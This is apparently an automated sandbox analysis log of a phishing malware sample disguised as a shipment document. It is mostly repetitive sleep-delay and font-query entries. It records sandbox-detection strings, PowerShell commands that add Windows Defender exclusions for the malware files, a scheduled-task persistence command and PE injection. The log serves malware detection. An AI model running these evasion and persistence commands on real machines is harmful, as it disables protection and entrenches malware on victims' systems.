Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -595297s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -595187s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -595078s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -594969s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -594859s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -594739s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -594610s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -594500s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -594391s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -594281s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -594172s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -594050s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 599436	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 599108	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 598780	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 598671	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 598452	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 598343	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 598010	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 597796	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 597468	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 597140	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 597031	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 596921	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 596812	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 596593	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 596375	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 596265	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 596046	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 595937	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 595718	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 595500	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 595390	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 595171	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 595058	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 594843	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 594613	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 599875
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 599766
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 599656
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 599547
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 599438
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 599328
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 599219
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 599094
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 598982
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 598860
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 598735
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 598610
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 598485
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 598360
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 598235
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 598110
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 597985
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 597860
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 597747
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 597625
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 597516
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 597406
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 597281
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 597172
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 597047
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 596938
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 596813
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 596703
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 596590
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 596469
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 596341
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 595982
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 595865
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 595749
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 595625
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 595516
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 595406
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 595297
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 595187
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 595078
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 594969
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 594859
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 594739
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 594610
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 594500
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 594391
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 594281
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 594172
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 594050

Source: PrcGlGVKeUCXxg.exe, 00000012.00000002.3713823747.0000000000C99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllZ
Source: PrcGlGVKeUCXxg.exe, 0000000E.00000002.1376503389.0000000001413000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}!X
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1314750589.00000000014C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: Shipment advice H-BL Draft.exe, 0000000D.00000002.3716119264.0000000000E97000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll'
Source: PrcGlGVKeUCXxg.exe, 0000000E.00000002.1386369638.0000000007590000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: r&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe

Code function: 13_2_06699668 LdrInitializeThunk,

13_2_06699668

Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Shipment advice H-BL Draft.exe"
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe"
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Shipment advice H-BL Draft.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe"	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe

Memory written: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Shipment advice H-BL Draft.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PrcGlGVKeUCXxg" /XML "C:\Users\user\AppData\Local\Temp\tmpFBC0.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process created: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe "C:\Users\user\Desktop\Shipment advice H-BL Draft.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process created: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe "C:\Users\user\Desktop\Shipment advice H-BL Draft.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PrcGlGVKeUCXxg" /XML "C:\Users\user\AppData\Local\Temp\tmp110D.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Process created: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe "C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
